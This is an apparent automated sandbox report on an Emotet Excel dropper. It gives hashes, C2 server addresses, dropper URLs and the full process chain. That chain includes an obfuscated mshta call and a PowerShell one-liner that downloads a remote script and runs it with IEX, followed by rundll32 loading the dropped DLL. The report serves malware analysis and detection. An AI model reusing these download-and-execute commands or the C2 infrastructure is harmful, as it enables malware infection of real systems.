emotet | aaa8079a9c9eda6f8fa98f7a71800ec53a5e639df2c8a29b376f0cc7c3bd7d40

General

Target

tmphaf9wzce.xls
Size

36KB
MD5

b2ff7975fc16c578027e87cc2d63efd5
SHA1

c3e163b2127f7fbf8de65045ed1e82f391e66582
SHA256

aaa8079a9c9eda6f8fa98f7a71800ec53a5e639df2c8a29b376f0cc7c3bd7d40
SHA512

a3b1f24c39a8b20d1c88a942681b0430ef3e4c2eae14917437ad97fa34def7e116d46aa5055417ab849650cb9db6309fc466a6f3ee2ecf24469ea192aed15f46

Score

10^/10

emotet epoch5 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/oo/aa/se.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.240.118.168/oo/aa/se.png

Extracted

Family

emotet

Botnet

Epoch5

C2

159.69.43.124:8080

45.79.80.198:443

207.148.81.119:8080

128.199.192.135:8080

118.98.72.86:443

217.182.143.207:443

168.197.250.14:80

116.124.128.206:8080

78.46.73.125:443

185.148.168.15:8080

195.154.146.35:443

85.214.67.203:8080

194.9.172.107:8080

59.148.253.194:443

210.57.209.142:8080

54.38.242.185:443

195.77.239.39:8080

159.69.237.188:443

104.131.62.48:8080

62.171.178.147:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1140	2432	CMD.EXE	EXCEL.EXE

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata
Blocklisted process makes network request 5 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

39 1440 mshta.exe
42 2228 powershell.exe
44 2228 powershell.exe
46 2228 powershell.exe
53 3712 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

3580 rundll32.exe
4076 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Ideav\gxnedmrokrvekfl.bxe rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

4060 1440 WerFault.exe mshta.exe

flow	pid	process
39	1440	mshta.exe
42	2228	powershell.exe
44	2228	powershell.exe
46	2228	powershell.exe
53	3712	rundll32.exe

pid	process
3580	rundll32.exe
4076	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Ideav\gxnedmrokrvekfl.bxe	rundll32.exe

pid	pid_target	process	target process
4060	1440	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2432 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

WerFault.exepowershell.exerundll32.exe

pid	process
4060	WerFault.exe
4060	WerFault.exe
4060	WerFault.exe
4060	WerFault.exe
4060	WerFault.exe
4060	WerFault.exe
4060	WerFault.exe
4060	WerFault.exe
4060	WerFault.exe
4060	WerFault.exe
4060	WerFault.exe
4060	WerFault.exe
4060	WerFault.exe
4060	WerFault.exe
2228	powershell.exe
2228	powershell.exe
2228	powershell.exe
3712	rundll32.exe
3712	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

WerFault.exepowershell.exe

description pid process

Token: SeDebugPrivilege 4060 WerFault.exe
Token: SeDebugPrivilege 2228 powershell.exe

description	pid	process
Token: SeDebugPrivilege	4060	WerFault.exe
Token: SeDebugPrivilege	2228	powershell.exe

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
2432	EXCEL.EXE
2432	EXCEL.EXE
2432	EXCEL.EXE
2432	EXCEL.EXE
2432	EXCEL.EXE
2432	EXCEL.EXE
2432	EXCEL.EXE
2432	EXCEL.EXE
2432	EXCEL.EXE
2432	EXCEL.EXE
2432	EXCEL.EXE
2432	EXCEL.EXE
2432	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

EXCEL.EXECMD.EXEmshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 2432 wrote to memory of 1140	2432	EXCEL.EXE	CMD.EXE
PID 2432 wrote to memory of 1140	2432	EXCEL.EXE	CMD.EXE
PID 1140 wrote to memory of 1440	1140	CMD.EXE	mshta.exe
PID 1140 wrote to memory of 1440	1140	CMD.EXE	mshta.exe
PID 1440 wrote to memory of 2228	1440	mshta.exe	powershell.exe
PID 1440 wrote to memory of 2228	1440	mshta.exe	powershell.exe
PID 2228 wrote to memory of 2948	2228	powershell.exe	cmd.exe
PID 2228 wrote to memory of 2948	2228	powershell.exe	cmd.exe
PID 2948 wrote to memory of 3580	2948	cmd.exe	rundll32.exe
PID 2948 wrote to memory of 3580	2948	cmd.exe	rundll32.exe
PID 2948 wrote to memory of 3580	2948	cmd.exe	rundll32.exe
PID 3580 wrote to memory of 4076	3580	rundll32.exe	rundll32.exe
PID 3580 wrote to memory of 4076	3580	rundll32.exe	rundll32.exe
PID 3580 wrote to memory of 4076	3580	rundll32.exe	rundll32.exe
PID 4076 wrote to memory of 2232	4076	rundll32.exe	rundll32.exe
PID 4076 wrote to memory of 2232	4076	rundll32.exe	rundll32.exe
PID 4076 wrote to memory of 2232	4076	rundll32.exe	rundll32.exe
PID 2232 wrote to memory of 3712	2232	rundll32.exe	rundll32.exe
PID 2232 wrote to memory of 3712	2232	rundll32.exe	rundll32.exe
PID 2232 wrote to memory of 3712	2232	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmphaf9wzce.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2432

C:\Windows\SYSTEM32\CMD.EXE
CMD.EXE /c ms^hta http://91.2^40.118.1^68/oo/aa/s^e.ht^m^l
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1140

C:\Windows\system32\mshta.exe
mshta http://91.240.118.168/oo/aa/se.html
3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1440

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/oo/aa/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2228

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
5⤵
- Suspicious use of WriteProcessMemory
PID:2948

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3580

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:4076

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Ideav\gxnedmrokrvekfl.bxe",XuuCaVInfSN
8⤵
- Suspicious use of WriteProcessMemory
PID:2232

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Ideav\gxnedmrokrvekfl.bxe",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:3712

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 1440 -s 1808
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4060

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\ProgramData\QWER.dll
MD5
1fd4499e393eb2bae9ff1d58d4669c06

SHA1
dfa462ad52abf4edcc904edc3943e1573905bcbd

SHA256
a65662042685f530da46a94c8dc4b33248e682de80804764516957738d6381aa

SHA512
8a9aab40441cc91cbf5b70d69456d41ef2420f98c22ef7842edbf3088f62468f0b3fcb9ab4bd784c33ef908725e3db4e15a02814507f7a9b5c0e1c289dc94663

Download Submit
\ProgramData\QWER.dll
MD5
1fd4499e393eb2bae9ff1d58d4669c06

SHA1
dfa462ad52abf4edcc904edc3943e1573905bcbd

SHA256
a65662042685f530da46a94c8dc4b33248e682de80804764516957738d6381aa

SHA512
8a9aab40441cc91cbf5b70d69456d41ef2420f98c22ef7842edbf3088f62468f0b3fcb9ab4bd784c33ef908725e3db4e15a02814507f7a9b5c0e1c289dc94663

Download Submit
\ProgramData\QWER.dll
MD5
1fd4499e393eb2bae9ff1d58d4669c06

SHA1
dfa462ad52abf4edcc904edc3943e1573905bcbd

SHA256
a65662042685f530da46a94c8dc4b33248e682de80804764516957738d6381aa

SHA512
8a9aab40441cc91cbf5b70d69456d41ef2420f98c22ef7842edbf3088f62468f0b3fcb9ab4bd784c33ef908725e3db4e15a02814507f7a9b5c0e1c289dc94663

Download Submit
memory/2228-301-0x0000029972FE0000-0x000002997301C000-memory.dmp

Filesize
240KB

Download
memory/2228-314-0x0000029970E30000-0x0000029970ED0000-memory.dmp

Filesize
640KB

Download
memory/2228-313-0x0000029973470000-0x00000299734E6000-memory.dmp

Filesize
472KB

Download
memory/2228-330-0x0000029970E30000-0x0000029970ED0000-memory.dmp

Filesize
640KB

Download
memory/2228-282-0x0000029972D70000-0x0000029972D92000-memory.dmp

Filesize
136KB

Download
memory/2228-315-0x0000029970E30000-0x0000029970ED0000-memory.dmp

Filesize
640KB

Download
memory/2432-395-0x00007FFB307C0000-0x00007FFB307D0000-memory.dmp

Filesize
64KB

Download
memory/2432-394-0x00007FFB307C0000-0x00007FFB307D0000-memory.dmp

Filesize
64KB

Download
memory/2432-118-0x00007FFB307C0000-0x00007FFB307D0000-memory.dmp

Filesize
64KB

Download
memory/2432-132-0x00007FFB2DC70000-0x00007FFB2DC80000-memory.dmp

Filesize
64KB

Download
memory/2432-121-0x00007FFB307C0000-0x00007FFB307D0000-memory.dmp

Filesize
64KB

Download
memory/2432-120-0x00007FFB307C0000-0x00007FFB307D0000-memory.dmp

Filesize
64KB

Download
memory/2432-119-0x00007FFB307C0000-0x00007FFB307D0000-memory.dmp

Filesize
64KB

Download
memory/2432-397-0x00007FFB307C0000-0x00007FFB307D0000-memory.dmp

Filesize
64KB

Download
memory/2432-124-0x00007FFB307C0000-0x00007FFB307D0000-memory.dmp

Filesize
64KB

Download
memory/2432-131-0x00007FFB2DC70000-0x00007FFB2DC80000-memory.dmp

Filesize
64KB

Download
memory/2432-396-0x00007FFB307C0000-0x00007FFB307D0000-memory.dmp

Filesize
64KB

Download
memory/3580-341-0x0000000000A41000-0x0000000000A64000-memory.dmp

Filesize
140KB

Download
memory/3712-369-0x0000000004C50000-0x0000000004C77000-memory.dmp

Filesize
156KB

Download
memory/3712-371-0x0000000004D30000-0x0000000004D57000-memory.dmp

Filesize
156KB

Download
memory/3712-373-0x0000000004E20000-0x0000000004E47000-memory.dmp

Filesize
156KB

Download
memory/3712-361-0x0000000000DB0000-0x0000000000DD7000-memory.dmp

Filesize
156KB

Download
memory/3712-363-0x00000000049B0000-0x00000000049D7000-memory.dmp

Filesize
156KB

Download
memory/3712-365-0x0000000004A90000-0x0000000004AB7000-memory.dmp

Filesize
156KB

Download
memory/3712-367-0x0000000004B70000-0x0000000004B97000-memory.dmp

Filesize
156KB

Download
memory/4076-349-0x0000000004860000-0x0000000004887000-memory.dmp

Filesize
156KB

Download
memory/4076-355-0x0000000004B00000-0x0000000004B27000-memory.dmp

Filesize
156KB

Download
memory/4076-358-0x0000000004CA0000-0x0000000004CC7000-memory.dmp

Filesize
156KB

Download
memory/4076-353-0x0000000004AA0000-0x0000000004AC7000-memory.dmp

Filesize
156KB

Download
memory/4076-346-0x0000000001020000-0x0000000001047000-memory.dmp

Filesize
156KB

Download
memory/4076-351-0x0000000004A40000-0x0000000004A67000-memory.dmp

Filesize
156KB

Download
memory/4076-344-0x00000000008A0000-0x00000000008C7000-memory.dmp

Filesize
156KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads